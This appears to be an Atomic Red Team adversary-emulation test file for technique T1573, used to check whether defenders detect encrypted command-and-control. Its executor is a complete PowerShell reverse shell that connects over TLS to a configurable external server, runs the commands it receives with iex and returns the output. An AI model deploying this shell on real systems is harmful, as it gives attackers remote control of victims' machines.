Josh Rickard
a5dd0813cd
* fix: Updating atomics YAML file structure to align with the new JSON schema definition. This also fixes some white space issues and general line formatting across all impacted atomics. * fix: One additional change needed --------- Co-authored-by: MSAdministrator <MSAdministrator@users.noreply.github.com> Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
43 lines
1.9 KiB
YAML
43 lines
1.9 KiB
YAML
attack_technique: T1573
|
|
display_name: Encrypted Channel
|
|
atomic_tests:
|
|
- name: OpenSSL C2
|
|
auto_generated_guid: 21caf58e-87ad-440c-a6b8-3ac259964003
|
|
description: |
|
|
Thanks to @OrOneEqualsOne for this quick C2 method.
|
|
This is to test to see if a C2 session can be established using an SSL socket.
|
|
More information about this technique, including how to set up the listener, can be found here:
|
|
https://medium.com/walmartlabs/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926
|
|
|
|
Upon successful execution, powershell will make a network connection to 127.0.0.1 over 443.
|
|
supported_platforms:
|
|
- windows
|
|
input_arguments:
|
|
server_ip:
|
|
description: IP of the external server
|
|
type: string
|
|
default: 127.0.0.1
|
|
server_port:
|
|
description: The port to connect to on the external server
|
|
type: string
|
|
default: "443"
|
|
executor:
|
|
command: |
|
|
$server_ip = #{server_ip}
|
|
$server_port = #{server_port}
|
|
$socket = New-Object Net.Sockets.TcpClient('#{server_ip}', '#{server_port}')
|
|
$stream = $socket.GetStream()
|
|
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
|
|
$sslStream.AuthenticateAsClient('fakedomain.example', $null, "Tls12", $false)
|
|
$writer = new-object System.IO.StreamWriter($sslStream)
|
|
$writer.Write('PS ' + (pwd).Path + '> ')
|
|
$writer.flush()
|
|
[byte[]]$bytes = 0..65535|%{0};
|
|
while(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0)
|
|
{$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
|
|
$sendback = (iex $data | Out-String ) 2>&1;
|
|
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
|
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
|
$sslStream.Write($sendbyte,0,$sendbyte.Length);$sslStream.Flush()}
|
|
name: powershell
|